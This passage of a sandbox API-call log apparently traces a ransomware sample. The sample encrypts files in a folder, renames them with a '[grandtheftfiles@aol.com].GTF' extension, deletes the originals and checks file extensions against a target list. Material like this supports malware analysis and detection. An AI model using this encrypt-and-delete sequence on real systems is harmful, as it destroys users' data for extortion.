	[0068.999] WriteFile (in: hFile=0x35c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0068.999] SetEndOfFile (hFile=0x35c) returned 1
	[0068.999] CloseHandle (hObject=0x35c) returned 1
	[0069.000] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.000] SetEndOfFile (hFile=0x338) returned 1
	[0069.001] CloseHandle (hObject=0x338) returned 1
	[0069.001] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0069.001] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1
	[0069.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.002] lstrlenW (lpString=".doc") returned 4
	[0069.002] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.002] lstrlenW (lpString=".docx") returned 5
	[0069.002] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0069.002] lstrlenW (lpString=".pdf") returned 4
	[0069.002] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.002] lstrlenW (lpString=".xls") returned 4
	[0069.002] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.002] lstrlenW (lpString=".xlsx") returned 5
	[0069.002] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0069.002] lstrlenW (lpString=".ppt") returned 4
	[0069.002] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.002] lstrlenW (lpString=".zip") returned 4
	[0069.002] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.002] lstrlenW (lpString=".rar") returned 4
	[0069.002] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.002] lstrlenW (lpString=".bz2") returned 4
	[0069.002] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.002] lstrlenW (lpString=".7z") returned 3
	[0069.002] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.002] lstrlenW (lpString=".dbf") returned 4
	[0069.002] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.002] lstrlenW (lpString=".1cd") returned 4
	[0069.002] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.002] lstrlenW (lpString=".jpg") returned 4
	[0069.002] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.003] lstrlenW (lpString=".doc") returned 4
	[0069.003] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.003] lstrlenW (lpString=".docx") returned 5
	[0069.003] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0069.003] lstrlenW (lpString=".pdf") returned 4
	[0069.003] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.003] lstrlenW (lpString=".xls") returned 4
	[0069.003] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.003] lstrlenW (lpString=".xlsx") returned 5
	[0069.003] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0069.003] lstrlenW (lpString=".ppt") returned 4
	[0069.003] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.003] lstrlenW (lpString=".zip") returned 4
	[0069.003] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.003] lstrlenW (lpString=".rar") returned 4
	[0069.003] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.003] lstrlenW (lpString=".bz2") returned 4
	[0069.003] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.003] lstrlenW (lpString=".7z") returned 3
	[0069.003] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.003] lstrlenW (lpString=".dbf") returned 4
	[0069.003] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.003] lstrlenW (lpString=".1cd") returned 4
	[0069.003] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0069.003] lstrlenW (lpString=".jpg") returned 4
	[0069.003] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.003] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0069.004] lstrlenW (lpString="SysReqMet.ico") returned 13
	[0069.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0069.950] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1150) returned 1
	[0069.950] CloseHandle (hObject=0x310) returned 1
	[0069.950] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80
	[0069.950] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0069.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0069.950] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.950] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0069.951] GetLastError () returned 0x0
	[0069.951] ReadFile (in: hFile=0x310, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0070.553] WriteFile (in: hFile=0x33c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x480, lpOverlapped=0x0) returned 1
	[0070.616] ReadFile (in: hFile=0x310, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.616] WriteFile (in: hFile=0x33c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xee, lpOverlapped=0x0) returned 1
	[0070.616] SetEndOfFile (hFile=0x33c) returned 1
	[0070.616] CloseHandle (hObject=0x33c) returned 1
	[0070.617] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.617] SetEndOfFile (hFile=0x310) returned 1
	[0070.618] CloseHandle (hObject=0x310) returned 1
	[0070.618] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0070.618] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString=".doc") returned 4
	[0070.619] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0070.619] lstrlenW (lpString=".docx") returned 5
	[0070.619] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0070.619] lstrlenW (lpString=".pdf") returned 4
	[0070.619] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0070.619] lstrlenW (lpString=".xls") returned 4
	[0070.619] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0070.619] lstrlenW (lpString=".xlsx") returned 5
	[0070.619] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0070.619] lstrlenW (lpString=".ppt") returned 4
	[0070.619] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString=".zip") returned 4
	[0070.619] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0070.619] lstrlenW (lpString=".rar") returned 4
	[0070.619] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0070.619] lstrlenW (lpString=".bz2") returned 4
	[0070.619] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0070.619] lstrlenW (lpString=".7z") returned 3
	[0070.619] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString=".dbf") returned 4
	[0070.619] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString=".1cd") returned 4
	[0070.619] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString=".jpg") returned 4
	[0070.619] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.619] lstrlenW (lpString=".doc") returned 4
	[0070.619] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0070.620] lstrlenW (lpString=".docx") returned 5
	[0070.620] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0070.620] lstrlenW (lpString=".pdf") returned 4
	[0070.620] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0070.620] lstrlenW (lpString=".xls") returned 4
	[0070.620] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0070.620] lstrlenW (lpString=".xlsx") returned 5
	[0070.620] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0070.620] lstrlenW (lpString=".ppt") returned 4
	[0070.620] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0070.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.620] lstrlenW (lpString=".zip") returned 4
	[0070.620] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0070.620] lstrlenW (lpString=".rar") returned 4
	[0070.620] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0070.620] lstrlenW (lpString=".bz2") returned 4
	[0070.620] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0070.620] lstrlenW (lpString=".7z") returned 3
	[0070.620] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0070.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.620] lstrlenW (lpString=".dbf") returned 4
	[0070.620] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0070.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.620] lstrlenW (lpString=".1cd") returned 4
	[0070.620] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0070.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0070.620] lstrlenW (lpString=".jpg") returned 4
	[0070.620] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0070.620] lstrcmpiW (lpString1=".mzz", lpString2=".GTF") returned 1
	[0070.620] lstrlenW (lpString="netfx_Extended.mzz") returned 18
	[0070.620] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0070.621] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=43131591) returned 1
	[0070.621] CloseHandle (hObject=0x310) returned 1
	[0070.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20
	[0070.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.621] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0070.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0070.621] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0x0) returned 1
	[0070.622] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0070.622] ReadFile (in: hFile=0x310, lpBuffer=0x3b30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b30058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0070.800] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0070.800] ReadFile (in: hFile=0x310, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0070.804] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0070.804] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0070.804] ReadFile (in: hFile=0x310, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0071.330] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.330] WriteFile (in: hFile=0x310, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x365fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0072.295] SetEndOfFile (hFile=0x310) returned 1
	[0072.295] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3f633b8
	[0072.572] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.572] WriteFile (in: hFile=0x310, lpBuffer=0x3f633b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633b8*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0072.573] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.573] WriteFile (in: hFile=0x310, lpBuffer=0x3f633b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633b8*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0072.574] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.574] WriteFile (in: hFile=0x310, lpBuffer=0x3f633b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633b8*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0072.576] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633b8 | out: hHeap=0x720000) returned 1
	[0072.578] CloseHandle (hObject=0x310) returned 1
	[0075.139] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0075.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.139] lstrlenW (lpString=".doc") returned 4
	[0075.139] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0075.139] lstrlenW (lpString=".docx") returned 5
	[0075.139] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0075.139] lstrlenW (lpString=".pdf") returned 4
	[0075.139] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0075.139] lstrlenW (lpString=".xls") returned 4
	[0075.139] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0075.139] lstrlenW (lpString=".xlsx") returned 5
	[0075.139] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0075.139] lstrlenW (lpString=".ppt") returned 4
	[0075.139] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0075.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.139] lstrlenW (lpString=".zip") returned 4
	[0075.140] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0075.140] lstrlenW (lpString=".rar") returned 4
	[0075.140] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0075.140] lstrlenW (lpString=".bz2") returned 4
	[0075.140] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0075.140] lstrlenW (lpString=".7z") returned 3
	[0075.140] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0075.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.140] lstrlenW (lpString=".dbf") returned 4
	[0075.140] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0075.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.140] lstrlenW (lpString=".1cd") returned 4
	[0075.140] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0075.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.140] lstrlenW (lpString=".jpg") returned 4
	[0075.140] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0075.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.140] lstrlenW (lpString=".doc") returned 4
	[0075.140] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0075.140] lstrlenW (lpString=".docx") returned 5
	[0075.140] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0075.140] lstrlenW (lpString=".pdf") returned 4
	[0075.140] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0075.140] lstrlenW (lpString=".xls") returned 4
	[0075.140] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0075.140] lstrlenW (lpString=".xlsx") returned 5
	[0075.140] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0075.140] lstrlenW (lpString=".ppt") returned 4
	[0075.140] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0075.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.140] lstrlenW (lpString=".zip") returned 4
	[0075.140] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0075.140] lstrlenW (lpString=".rar") returned 4
	[0075.140] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0075.140] lstrlenW (lpString=".bz2") returned 4
	[0075.141] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0075.141] lstrlenW (lpString=".7z") returned 3
	[0075.141] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0075.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.141] lstrlenW (lpString=".dbf") returned 4
	[0075.141] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0075.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.141] lstrlenW (lpString=".1cd") returned 4
	[0075.141] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0075.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0075.141] lstrlenW (lpString=".jpg") returned 4
	[0075.141] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0075.141] lstrlenW (lpString="BCD") returned 3
	[0075.141] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.141] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.141] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.141] lstrlenW (lpString=".doc") returned 4
	[0075.141] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0075.141] lstrlenW (lpString=".docx") returned 5
	[0075.141] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0075.141] lstrlenW (lpString=".pdf") returned 4
	[0075.141] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0075.141] lstrlenW (lpString=".xls") returned 4
	[0075.141] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0075.141] lstrlenW (lpString=".xlsx") returned 5
	[0075.141] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0075.141] lstrlenW (lpString=".ppt") returned 4
	[0075.141] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0075.141] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.141] lstrlenW (lpString=".zip") returned 4
	[0075.141] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".rar") returned 4
	[0075.142] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".bz2") returned 4
	[0075.142] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".7z") returned 3
	[0075.142] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0075.142] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.142] lstrlenW (lpString=".dbf") returned 4
	[0075.142] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.142] lstrlenW (lpString=".1cd") returned 4
	[0075.142] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.142] lstrlenW (lpString=".jpg") returned 4
	[0075.142] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.142] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.142] lstrlenW (lpString=".doc") returned 4
	[0075.142] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".docx") returned 5
	[0075.142] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".pdf") returned 4
	[0075.142] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".xls") returned 4
	[0075.142] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".xlsx") returned 5
	[0075.142] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".ppt") returned 4
	[0075.142] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.142] lstrlenW (lpString=".zip") returned 4
